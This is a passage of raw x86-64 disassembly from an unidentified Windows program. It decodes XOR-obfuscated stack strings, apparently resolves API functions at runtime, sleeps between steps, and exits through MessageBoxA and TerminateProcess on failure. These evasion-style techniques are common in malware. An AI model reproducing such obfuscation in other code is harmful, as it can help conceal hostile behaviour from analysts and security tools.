lea rdx, [rbp + 0x6c0]
jmp 0x14003d901
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x107786d67cf338f4
mov qword [rbp + 0xa040], rax
movabs rax, 0x1df31c9d8792000a
mov qword [rbp + 0xa048], rax
movabs rax, 0x114f26008e6b4464
mov qword [rbp + 0xa050], rax
movabs rax, 0x5c56c42b9b5ccd82
mov qword [rbp + 0xa058], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7f05d6a219b44ba4
mov qword [rbp + 0xa080], rax
movabs rax, 0x699079cef4e16569
mov qword [rbp + 0xa088], rax
movabs rax, 0x502a5561cc052b0d
mov qword [rbp + 0xa090], rax
movabs rax, 0x5c56b758fe2ea9e6
mov qword [rbp + 0xa098], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xa0], xmm5
lea rax, [rbp + 0x76c0]
lea rcx, [rbp + 0x70]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x14003c9e0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
movabs rax, 0x84e164ad4b3ea95
mov qword [rbp + 0xa040], rax
movabs rax, 0x732c911f41b9cea6
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x64206421a7dc9efb
mov qword [rbp + 0xa060], rax
movabs rax, 0x732c911f24c1ab88
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa060]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0xa050], xmm1
lea rcx, [rbp + 0x2880]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x76c0]
lea rcx, [rbp + 0x2880]
call fcn.1400532e0
mov qword [rdi + 0x30], rax
test rax, rax
jne 0x14003cc87
movabs rax, 0x3865922f166709
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe86cb44679ce60d
mov qword [rbp + 0xa008], rcx
movabs rax, 0x3865e04064154c
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa000]
pxor xmm0, xmmword [rbp + 0xa010]
movaps xmmword [rbp + 0xde0], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0xdf0], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xe00], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xe10], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xe20], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xe30], xmm0
movabs rax, 0x1fffffffe5071f62
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe00000001b2ab847
mov qword [rbp + 0xa008], rcx
movabs rax, 0x1fffffffe5071557
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa000]
pxor xmm0, xmmword [rbp + 0xa010]
movaps xmmword [rbp + 0x6f0], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x700], xmm0
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x710], xmm1
lea r8, [rbp + 0xde0]
lea rdx, [rbp + 0x6f0]
jmp 0x14003d901
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x10d63d4704a579c3
mov qword [rbp + 0xa040], rax
movabs rax, 0x66098f6e06a65765
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x75a25c236dc91895
mov qword [rbp + 0xa060], rax
movabs rax, 0x66098f6e62c8202d
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0xa050], xmm1
lea rcx, [rbp + 0x2950]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
movabs rax, 0x1a6fc46acd36dc0e
mov qword [rbp + 0xa040], rax
movabs rax, 0x6a794640ae1028a9
mov qword [rbp + 0xa048], rax
movabs rax, 0x7b0daf58fe58b579
mov qword [rbp + 0xa060], rax
movabs rax, 0x6a793539dd3e4dda
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0x70], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x80], xmm1
lea rcx, [rbp + 0x34d0]
lea rax, [rbp + 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x2950]
lea rcx, [rbp + 0x34d0]
call fcn.1400532e0
mov qword [rdi + 0x48], rax
test rax, rax
jne 0x14003cfa6
movabs rax, 0x373c15771258aa
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe8594222eeb7693
mov qword [rbp + 0xa008], rcx
movabs rax, 0x373c6718602aef
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa000]
pxor xmm0, xmmword [rbp + 0xa010]
movaps xmmword [rbp + 0xe40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0xe50], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xe60], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xe70], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xe80], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xe90], xmm0
movabs rax, 0x1fffffffe4eaa33d
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe00000001b180f3c
mov qword [rbp + 0xa008], rcx
movabs rax, 0x1fffffffe4eaa90b
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x720], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x730], xmm0
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x740], xmm1
lea r8, [rbp + 0xe40]
lea rdx, [rbp + 0x720]
jmp 0x14003d901
movabs rax, 0x22eac97187a2b3a
mov qword [rbp + 0xa040], rax
movabs rax, 0x6b6ce57605d588ef
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x6d5cfce37d3d586a
mov qword [rbp + 0xa060], rax
movabs rax, 0x6b0e802676a6ed8c
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0x70], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x80], xmm1
lea rax, [rbp + 0x39c0]
lea rcx, [rbp + 0x70]
mov rdx, r15
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003d020
movabs rax, 0x9ab85e1fecf58ba
mov qword [rbp + 0xa040], rax
movabs rax, 0x6bad1c5f8cf59dac
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x65c5f78a8da02cd4
mov qword [rbp + 0xa060], rax
movabs rax, 0x6bad1c5fe98df882
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0xa050], xmm2
lea rcx, [rbp + 0x2a20]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x39c0]
lea rcx, [rbp + 0x2a20]
call fcn.1400532e0
mov qword [rdi + 0x50], rax
test rax, rax
jne 0x14003d291
movabs rax, 0x3b42813a778637
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe86060a4121a53b
mov qword [rbp + 0xa008], rcx
movabs rax, 0x3b42f35505f472
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa000]
pxor xmm0, xmmword [rbp + 0xa010]
movaps xmmword [rbp + 0xea0], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0xeb0], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xec0], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xed0], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xee0], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xef0], xmm0
movabs rax, 0x1fffffffe5471a45
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe00000001a92b7a9
mov qword [rbp + 0xa008], rcx
movabs rax, 0x1fffffffe5471072
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x750], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x760], xmm0
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x770], xmm1
lea r8, [rbp + 0xea0]
lea rdx, [rbp + 0x750]
jmp 0x14003d901
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x8675b195100d021
mov qword [rbp + 0xa040], rax
movabs rax, 0x18c973bb2960f6df
mov qword [rbp + 0xa048], rax
mov qword [rbp + 0xa050], rsi
movabs rcx, 0xe000000020049f94
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7a033f582249bd6c
mov qword [rbp + 0xa080], rax
movabs rax, 0x7ca01fda7f1385ba
mov qword [rbp + 0xa088], rax
mov qword [rbp + 0xa090], rsi
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa090]
pxor xmm1, xmmword [rbp + 0xa050]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x90], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xa0], xmm5
lea rax, [rbp + 0x4230]
lea rcx, [rbp + 0x70]
mov rdx, r15
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003d370
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movabs rax, 0x10f72ff6c21d76eb
mov qword [rbp + 0xa040], rax
movabs rax, 0x766f4b8a28f96e05
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x7c995d9db1720285
mov qword [rbp + 0xa060], rax
movabs rax, 0x766f4b8a4d810b2b
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa060]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0xa050], xmm2
lea rcx, [rbp + 0x2af0]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x4230]
lea rcx, [rbp + 0x2af0]
call fcn.1400532e0
mov qword [rdi + 0x58], rax
test rax, rax
jne 0x14003d5db
movabs rax, 0x3a043b4429b64f
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe8afb8ee49d261b
mov qword [rbp + 0xa008], rcx
movabs rax, 0x3a04492b5bc40a
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa000]
pxor xmm0, xmmword [rbp + 0xa010]
movaps xmmword [rbp + 0xf00], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0xf10], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xf20], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xf30], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xf40], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xf50], xmm0
movabs rax, 0x1fffffffe52e4cbf
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe00000001ad8531c
mov qword [rbp + 0xa008], rcx
movabs rax, 0x1fffffffe52e4686
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x40], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x50], xmm0
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x60], xmm1
lea r8, [rbp + 0xf00]
lea rdx, [rbp + 0x40]
jmp 0x14003d901
movabs rax, 0x8873a54b60e64a4
mov qword [rbp + 0xa040], rax
movabs rax, 0x6d9f16a2f9a7c093
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x69e45538da4f1ce1
mov qword [rbp + 0xa060], rax
movabs rax, 0x6d9f7acd96f7a5e7
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0x70], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x80], xmm2
lea rcx, [rbp + 0x35c0]
lea rax, [rbp + 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movabs rax, 0x94f7569f165a09f
mov qword [rbp + 0xa040], rax
movabs rax, 0x7142502012ea20d7
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x65210702820ad4f1
mov qword [rbp + 0xa060], rax
movabs rax, 0x71425020779245f9
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0xa050], xmm2
lea rcx, [rbp + 0x2bc0]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x35c0]
lea rcx, [rbp + 0x2bc0]
call fcn.1400532e0
mov qword [rdi + 0x78], rax
test rax, rax
jne 0x14003d922
movabs rax, 0x3a8d12c8e49b12
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe899d74ef7a84b6
mov qword [rbp + 0xa008], rcx
movabs rax, 0x3a8d60a796e957
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0xf60], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0xf70], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xf80], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xf90], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xfa0], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xfb0], xmm0
movabs rax, 0x512dc18b8
mov qword [rbp + 0xa000], rax
movabs rcx, 0x120b7d912e
mov qword [rbp + 0xa008], rcx
movabs rax, 0x512d62889
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa000]
pxor xmm0, xmmword [rbp + 0xa010]
movaps xmmword [rbp + 0x840], xmm0
movaps xmm0, xmmword [rbp + 0x3a0]
movaps xmmword [rbp + 0x850], xmm0
movaps xmm1, xmmword [rbp + 0x3b0]
movaps xmmword [rbp + 0x860], xmm1
movaps xmm0, xmmword [rbp + 0x3c0]
movaps xmmword [rbp + 0x870], xmm0
lea r8, [rbp + 0xf60]
lea rdx, [rbp + 0x840]
mov r9d, reloc.WS2_32.dll_recv
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor bl, bl
jmp 0x14003e141
movabs rax, 0x9fbb24803341466
mov qword [rbp + 0xa040], rax
movabs rcx, 0x7ca0269c72b695f6
mov qword [rbp + 0xa048], rcx
xorps xmm2, xmm2
movabs rax, 0x7a82c16673517124
mov qword [rbp + 0xa060], rax
mov qword [rbp + 0xa068], rcx
xorps xmm0, xmm0
movdqa xmm1, xmmword [rbp + 0xa040]
pxor xmm1, xmmword [rbp + 0xa060]
pxor xmm2, xmm0
movaps xmmword [rbp + 0xa040], xmm1
movaps xmmword [rbp + 0xa050], xmm2
movaps xmm0, xmmword [rbp + 0x3f0]
movaps xmmword [rbp + 0xa060], xmm0
movaps xmm1, xmmword [rbp + 0x400]
movaps xmmword [rbp + 0xa070], xmm1
movaps xmm0, xmmword [rbp + 0x410]
movaps xmmword [rbp + 0xa080], xmm0
movaps xmm1, xmmword [rbp + 0x420]
movaps xmmword [rbp + 0xa090], xmm1
movaps xmm0, xmmword [rbp + 0x430]
movaps xmmword [rbp + 0xa0a0], xmm0
movaps xmm1, xmmword [rbp + 0x440]
movaps xmmword [rbp + 0xa0b0], xmm1
movaps xmm0, xmmword [rbp + 0x450]
movaps xmmword [rbp + 0xa0c0], xmm0
xor esi, esi
mov qword [rbp + 0x590], rsi
movdqa xmm0, xmmword [0x140114c50]
movdqu xmmword [rbp + 0x5a0], xmm0
mov byte [rbp + 0x590], sil
lea rax, [rbp + 0xa040]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14003da14
lea rdx, [rbp + 0xa040]
lea rcx, [rbp + 0x590]
call fcn.14005a030
nop
lea rcx, [rbp + 0x590]
call fcn.140053a00
mov rbx, rax
lea rcx, [rbp + 0x590]
call fcn.14000b160
test rbx, rbx
je 0x14003e141
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x9ef0]
call sub.VCRUNTIME140.dll_memset
mov edx, 0x104
lea rcx, [rbp + 0x9ef0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov qword [rbp + 0x9ea8], rsi
movdqa xmm0, xmmword [0x140114c50]
movdqu xmmword [rbp + 0x9eb8], xmm0
